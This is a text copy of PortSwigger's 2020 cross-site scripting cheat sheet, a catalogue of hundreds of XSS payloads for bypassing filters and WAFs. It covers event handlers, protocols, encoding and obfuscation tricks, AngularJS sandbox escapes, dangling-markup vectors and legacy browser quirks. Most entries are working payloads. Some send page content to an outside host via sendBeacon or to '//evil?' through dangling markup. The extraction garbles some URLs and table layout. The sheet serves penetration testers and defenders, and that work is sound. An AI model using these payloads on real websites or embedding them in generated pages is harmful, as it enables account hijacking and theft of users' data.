Cross-Site Scripting (XSS) Cheat Sheet 2020
Cross-Site Scripting (XSS) Cheat Sheet 2020
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or
browser and a proof of concept is included for every vector.
This cheat sheet was brought to by PortSwigger Research. Follow us on twitter to recieve updates.
This cheat sheet is regularly updated in 2020. Last updated: Thu, 01 Oct 2020 14:46:40 +0000.
Table of contents
Event handlers
onactivate
Compatibility: Fires when the element is activated <xss id=x tabindex=1 onactivate=alert(1)></xss>
onafterprint
Compatibility: Fires after the page is printed <body onafterprint=alert(1)>
onafterscriptexecute
Compatibility: Fires after script is executed <xss onafterscriptexecute=alert(1)><script>1</script>
onanimationcancel
Compatibility: Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target
{animation:10s ease-in-out 0s 1 x;}</style><xss id=x
style="position:absolute;" onanimationcancel="alert(1)"></xss>
onanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><xss style="animation-name:x"
onanimationend="alert(1)"></xss>
onanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><xss style="animation-
duration:1s;animation-name:slidein;animation-iteration-count:2"
onanimationiteration="alert(1)"></xss>
onanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><xss style="animation-name:x"
onanimationstart="alert(1)"></xss>
onbeforeactivate
Compatibility: Fires before the element is activated <xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>
onbeforedeactivate
Compatibility: Fires before the element is deactivated <xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>
onbeforeprint
Compatibility: Fires before the page is printed <body onbeforeprint=alert(1)>
onbeforescriptexecute
Compatibility: Fires before script is executed <xss onbeforescriptexecute=alert(1)><script>1</script>
onbeforeunload
Compatibility: Fires after if the url changes <body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>
onbegin
Compatibility: Fires when a svg animation begins <svg><animate onbegin=alert(1) attributeName=x dur=1s>
onblur
Compatibility: Fires when an element loses focus <a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
onbounce
Compatibility: Fires when the marquee bounces <marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
oncanplay
Compatibility: Fires if the resource can be played <audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
oncanplaythrough
Compatibility: Fires when enough data has been loaded <video oncanplaythrough=alert(1)><source src="validvideo.mp4"
type="video/mp4"></video>
to play the resource all the way through
oncuechange
Compatibility: Fires when subtitle changes <video controls><source src=validvideo.mp4 type=video/mp4><track default
oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 1 00:00:00.000 -->
00:00:05.000 <b>XSS</b> "></video>
ondeactivate
Compatibility: Fires when the element is deactivated <xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>
ondurationchange
Compatibility: Fires when duration changes <audio controls ondurationchange=alert(1)><source src=validaudio.mp3
type=audio/mpeg></audio>
onend
Compatibility: Fires when a svg animation ends <svg><animate onend=alert(1) attributeName=x dur=1s>
onended
Compatibility: Fires when the resource is finished <audio controls autoplay onended=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
playing
onerror
Compatibility: Fires when the resource fails to load or <audio src/onerror=alert(1)>
causes an error
onfinish
Compatibility: Fires when the marquee finishes <marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
onfocus
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocus=alert(1)></a>
onfocusin
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocusin=alert(1)></a>
onfocusout
Compatibility: Fires when an element loses focus <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
onhashchange
Compatibility: Fires if the hash changes <body onhashchange="alert(1)">
onload
Compatibility: Fires when the element is loaded <body onload=alert(1)>
onloadeddata
Compatibility: Fires when the first frame is loaded <audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onloadedmetadata
Compatibility: Fires when the meta data is loaded <audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav"
type="audio/wav"></audio>
onloadend
Compatibility: Fires when the element finishes loading <image src=validimage.png onloadend=alert(1)>
onloadstart
Compatibility: Fires when the element begins to load <image src=validimage.png onloadstart=alert(1)>
onmessage
Compatibility: Fires when message event is received <body onmessage=alert(1)>
from a postMessage call
onpageshow
Compatibility: Fires when the page is shown <body onpageshow=alert(1)>
onplay
Compatibility: Fires when the resource is played <audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onplaying
Compatibility: Fires the resource is playing <audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onpopstate
Compatibility: Fires when the history changes <body onpopstate=alert(1)>
onprogress
Compatibility: Fires when the video/audio begins <audio controls onprogress=alert(1)><source src=validaudio.mp3
type=audio/mpeg></audio>
downloading
onreadystatechange
Compatibility: Fires when the ready state changes <applet onreadystatechange=alert(1)></applet>
onrepeat
Compatibility: Fires when a svg animation repeats <svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
onresize
Compatibility: Fires when the window is resized <body onresize="alert(1)">
onscroll
Compatibility: Fires when the page scrolls <body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
onstart
Compatibility: Fires when the marquee starts <marquee onstart=alert(1)>XSS</marquee>
ontimeupdate
Compatibility: Fires when the timeline is changed <audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
ontoggle
Compatibility: Fires when the details tag is expanded <details ontoggle=alert(1) open>test</details>
ontransitioncancel
Compatibility: Fires when a CSS transition cancels <style>:target {color: red;}</style><xss id=x style="transition:color 10s"
ontransitioncancel=alert(1)></xss>
ontransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
ontransitionend=alert(1)></xss>
ontransitionrun
Compatibility: Fires when a CSS transition begins <style>:target {transform: rotate(180deg);}</style><xss id=x
style="transition:transform 2s" ontransitionrun=alert(1)></xss>
ontransitionstart
Compatibility: Fires when a CSS transition starts <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
ontransitionstart=alert(1)></xss>
onunhandledrejection
Compatibility: Fires when a promise isn't handled <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
onunload
Compatibility: Fires when the page is unloaded <body onunload=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>
onwaiting
Compatibility: Fires when while waiting for the data <video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"
type=video/mp4></video>
onwebkitanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationend="alert(1)"></xss>
onwebkitanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><xss style="animation-
duration:1s;animation-name:slidein;animation-iteration-count:2"
onwebkitanimationiteration="alert(1)"></xss>
onwebkitanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationstart="alert(1)"></xss>
onwebkittransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
onwebkittransitionend=alert(1)></xss>
onbeforecopy
Compatibility: Requires you copy a piece of text <a onbeforecopy="alert(1)" contenteditable>test</a>
onbeforecut
Compatibility: Requires you cut a piece of text <a onbeforecut="alert(1)" contenteditable>test</a>
onbeforepaste
Compatibility: Requires you paste a piece of text <a onbeforepaste="alert(1)" contenteditable>test</a>
onchange
Compatibility: Requires as change of value <input onchange=alert(1) value=xss>
onclick
Compatibility: Requires a click of the element <xss onclick="alert(1)">test</xss>
onclose
Compatibility: Fires when a dialog is closed <dialog open onclose=alert(1)><form method=dialog><button>XSS</button>
</form>
oncontextmenu
Compatibility: Triggered when right clicking to show the <xss oncontextmenu="alert(1)">test</xss>
context menu
oncopy
Compatibility: Requires you copy a piece of text <xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test
oncut
Compatibility: Requires you cut a piece of text <xss oncut=alert(1) value="XSS" autofocus tabindex=1>test
ondblclick
Compatibility: Triggered when double clicking the <xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>
element
ondrag
Compatibility: Triggered dragging the element <xss draggable="true" ondrag="alert(1)">test</xss>
ondragend
Compatibility: Triggered dragging is finished on the <xss draggable="true" ondragend="alert(1)">test</xss>
element
ondragenter
Compatibility: Requires a mouse drag <xss draggable="true" ondragenter="alert(1)">test</xss>
ondragleave
Compatibility: Requires a mouse drag <xss draggable="true" ondragleave="alert(1)">test</xss>
ondragover
Compatibility: <div draggable="true" contenteditable>drag me</div><xss
Compatibility: <div draggable= true contenteditable>drag me</div><xss
Triggered dragging over an element ondragover=alert(1) contenteditable>drop here</xss>
ondragstart
Compatibility: Requires a mouse drag <xss draggable="true" ondragstart="alert(1)">test</xss>
ondrop
Compatibility: Triggered dropping a draggable element <div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1)
contenteditable>drop here</xss>
onfullscreenchange
Compatibility: Fires when a video changes full screen <video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
status
oninput
Compatibility: Requires as change of value <input oninput=alert(1) value=xss>
oninvalid
Compatibility: Requires a form submission with an <form><input oninvalid=alert(1) required><input type=submit>
element that does not satisfy its
constraints such as a required attribute.
onkeydown
Compatibility: Triggered when a key is pressed <xss onkeydown="alert(1)" contenteditable>test</xss>
onkeypress
Compatibility: Triggered when a key is pressed <xss onkeypress="alert(1)" contenteditable>test</xss>
onkeyup
Compatibility: Triggered when a key is released <xss onkeyup="alert(1)" contenteditable>test</xss>
onmousedown
Compatibility: Triggered when the mouse is pressed <xss onmousedown="alert(1)">test</xss>
onmouseenter
Compatibility: Triggered when the mouse is hovered <xss onmouseenter="alert(1)">test</xss>
over the element
onmouseleave
Compatibility: Triggered when the mouse is moved <xss onmouseleave="alert(1)">test</xss>
away from the element
onmousemove
Compatibility: Requires mouse movement <xss onmousemove="alert(1)">test</xss>
onmouseout
Compatibility: Triggered when the mouse is moved <xss onmouseout="alert(1)">test</xss>
away from the element
onmouseover
Compatibility: Requires a hover over the element <xss onmouseover="alert(1)">test</xss>
onmouseup
Compatibility: Triggered when the mouse button is <xss onmouseup="alert(1)">test</xss>
released
onmousewheel
Compatibility: Fires when the mousewheel scrolls <xss onmousewheel=alert(1)>requires scrolling
onmozfullscreenchange
Compatibility: Fires when a video changes full screen <video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
status
onpagehide
Compatibility: Fires when the page is changed <body onpagehide=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>
onpaste
Compatibility: Requires you paste a piece of text <a onpaste="alert(1)" contenteditable>test</a>
onpause
Compatibility: Requires clicking the element to pause <audio autoplay controls onpause=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onpointerdown
Compatibility: Fires when the mouse down <xss onpointerdown=alert(1)>XSS</xss>
onpointerenter
Compatibility: Fires when the mouseenter <xss onpointerenter=alert(1)>XSS</xss>
onpointerleave
Compatibility: Fires when the mouseleave <xss onpointerleave=alert(1)>XSS</xss>
onpointermove
Compatibility: Fires when the mouse move <xss onpointermove=alert(1)>XSS</xss>
onpointerout
Compatibility: Fires when the mouse out <xss onpointerout=alert(1)>XSS</xss>
onpointerover
Compatibility: Fires when the mouseover <xss onpointerover=alert(1)>XSS</xss>
onpointerrawupdate
Compatibility: Fires when the pointer changes <xss onpointerrawupdate=alert(1)>XSS</xss>
onpointerup
Compatibility: Fires when the mouse up <xss onpointerup=alert(1)>XSS</xss>
onreset
Compatibility: Requires a click <form onreset=alert(1)><input type=reset>
onsearch
Compatibility: Fires when a form is submitted and the <form><input type=search onsearch=alert(1) value="Hit return" autofocus>
input has a type attribute of search
onseeked
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeked=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onseeking
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeking=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onselect
Compatibility: Requires you select text <input onselect=alert(1) value="XSS" autofocus>
onselectionchange
Compatibility: Fires when text selection is changed on <body onselectionchange=alert(1)>select some text
the page
onselectstart
Compatibility: Fires when beginning a text selection <body onselectstart=alert(1)>select some text
onshow
Compatibility: Fires context menu is shown <div contextmenu=xss><p>Right click<menu type=context id=xss
onshow=alert(1)></menu></div>
onsubmit
Compatibility: Requires a form submission <form onsubmit=alert(1)><input type=submit>
ontouchend
Compatibility: Fires when the touch screen, only mobile <body ontouchend=alert(1)>
device
ontouchmove
Compatibility: Fires when the touch screen and move, <body ontouchmove=alert(1)>
only mobile device
ontouchstart
Compatibility: Fires when the touch screen, only mobile <body ontouchstart=alert(1)>
device
onvolumechange
Compatibility: Requires volume adjustment <audio autoplay controls onvolumechange=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
onwheel
Compatibility: Fires when you use the mouse wheel <body onwheel=alert(1)>
Restricted characters
Frameworks
Protocols
Characters \x01-\x20 are allowed before the protocol <a href=" javascript:alert(1)">XSS</a>
Xlink namespace inside SVG with JavaScript <svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
protocol
SVG script href attribute without closing script tag <svg><script href="data:text/javascript,alert(1)" />
Animate tag with keytimes and multiple values <svg><animate xlink:href=#xss attributeName=href dur=5s
repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?
;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text>
</a>
Click a submit element from anywhere on the page, <form action="javascript:alert(1)"><input type=submit id=x></form><label
for=x>XSS</label>
even outside the form
Hidden inputs: Access key attributes can enable <input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X
on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Link elements: Access key attributes can enable <link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press
ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Download attribute can save a copy of the current <a href=# download="filename.html">Test</a>
webpage
Set window.name via target attribute in a <base> tag <base target="alert(1)"><a href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in base tag</a>
ta get base tag /a
Set window.name via target attribute in a <a> tag <a target="alert(1)" href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in a tag</a>
Set window.name via usemap attribute in a <img> <img src="validimage.png" width="10" height="10" usemap="#xss"><map
name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)"
tag
href="http://subdomain1.portswigger-labs.net/xss/xss.php?
context=js_string_single&x=%27;eval(name)//"></map>
Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input type="submit"
<input> tag type submit
formaction="http://subdomain1.portswigger-labs.net/xss/xss.php"
formtarget="alert(1)" value="XSS via formtarget in input type submit">
</form>
Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input name=1 type="image"
<input> tag type image
src="validimage.png" formaction="http://subdomain1.portswigger-
labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in
input type image"></form>
Special tags
Encoding
Hex encoding without semi-colon provided next <a href="javascript:alert(1)">XSS</a> <a href="j
avascript:alert(1)">XSS</a> <a href="j avascript:alert(1)">XSS</a>
character is not a-f0-9
Obfuscation
Data protocol inside script src with base64 and URL <script
src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d>
encoding
</script>
1.3.0 Gábor Molnár (Google) 272 {{!ready && (ready = true) && ( !call ?
$$watchers[0].get(toString.constructor.prototype) : (a = apply) &&
(apply = constructor) && (valueOf = call) && (''+''.toString( 'F =
Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete
F.valueOf;' + 'alert(1);' )));}}
1.2.0 - 1.5.0 Eduardo Vela (Google) 190 <div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div>
<div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">
{{ [1].reduce(value.alert, 1); }}</div></div></div>
Scriptless attacks
Dangling markup
Background attribute <body background="//evil? <table background="//evil? <table><thead
background="//evil? <table><tbody background="//evil? <table><tfoot
background="//evil? <table><td background="//evil? <table><th
background="//evil?
Img to pass markup through src attribute <img src="//evil? <image src="//evil?
Pass markup data through window.name using form <button form=x>XSS</button><form id=x action=//evil target='
target
Pass markup data through window.name using <form><input type=submit value="Click me"
formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
formtarget
formtarget="
Using embed window name to pass data from the <embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
name="
page
Using iframe window name to pass data from the <iframe src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using object window name to pass data from the <object data=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using frame window name to pass data from the <frameset><frame src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Overwrite type attribute with image in hidden inputs <input type=hidden type=image src="//evil?
Polyglots
(globalThis) (globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']
['\x64\x6f\x6d\x61\x69\x6e']);//
Content types
This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.
This section lists content-types that can be used for XSS when you can inject into the content-type header.
PoC
Content-Type Browsers
<script>alert(document.domain)</script>
text/plain; x=x, text/html, foobar
<script>alert(document.domain)</script>
text/html(xxx
<script>alert(document.domain)</script>
text/html xxx
<script>alert(document.domain)</script>
text/html xxx
<script>alert(document.domain)</script>
text/html, xxx
<script>alert(document.domain)</script>
text/html; xxx
Impossible labs
To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.
Iframe data urls no longer work as modern browsers <iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
use a null origin
JScript compact was a minimal version of JS that <a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#"
onclick="JSCRIPT.COMPACT:alert(1);">test</a>
wasn't widely used in IE
IE9 select elements and plaintext used to consume <form action=x><button>XSS</button><select name=x><option><plaintext>
<script>token="supersecret"</script>
markup
XBL also worked in FF3.5 using data urls <img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimple
mentation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20sc
r.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.
appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%
3C/ binding%3E%3C/bindings%3E)" />
In quirks mode IE allowed you to use = instead of : <div style=xss=expression(alert(1))> <div style="color=red">test</div>
Older versions of IE supported event handlers in <script> function window.onload(){ alert(1); } </script> <script> function
window::onload(){ alert(1); } </script> <script> function window.location()
functions
{ } </script> <body> <script> function/*<img src=1
onerror=alert(1)>*/document.body.innerHTML(){} </script> </body> <body>
<script> function document.body.innerHTML(){ x = "<img src=1
onerror=alert(1)>"; } </script> </body>
Firefox allows NULL characters inside opening <!-- ><img title="--><iframe/onload=alert(1)>"> --> <!-- ><img title="-->
<iframe/onload=alert(1)>"> -->
comments
Safari used to allow any tag to have a onload event <svg><xss onload=alert(1)>
inside SVG
Credits
Brought to you by PortSwigger Research.
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo
Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a,
Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay,
Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush
Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David
Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg,
diofeher, Sergey Bobrov, PwnFunction
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request